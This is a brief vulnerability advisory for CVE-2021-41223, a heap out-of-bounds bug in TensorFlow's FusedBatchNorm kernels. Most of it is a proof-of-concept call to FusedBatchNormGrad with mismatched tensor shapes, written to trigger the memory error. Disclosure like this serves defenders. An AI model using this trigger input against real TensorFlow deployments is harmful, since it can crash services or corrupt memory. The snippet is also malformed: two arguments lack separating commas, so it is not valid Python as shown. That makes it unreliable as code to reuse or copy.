CVE-2021-41223: Heap OOB in `FusedBatchNorm` kernels

(updated )

The implementation of FusedBatchNorm kernels is vulnerable to a heap OOB:

import tensorflow as tf

tf.raw_ops.FusedBatchNormGrad(
y_backprop=tf.constant([i for i in range(9)],shape=(1,1,3,3),dtype=tf.float32)
x=tf.constant([i for i in range(2)],shape=(1,1,1,2),dtype=tf.float32)
scale=[1,1],
reserve_space_1=[1,1],
reserve_space_2=[1,1,1],
epsilon=1.0,
data_format='NCHW',
is_training=True)

References

Code Behaviors & Features

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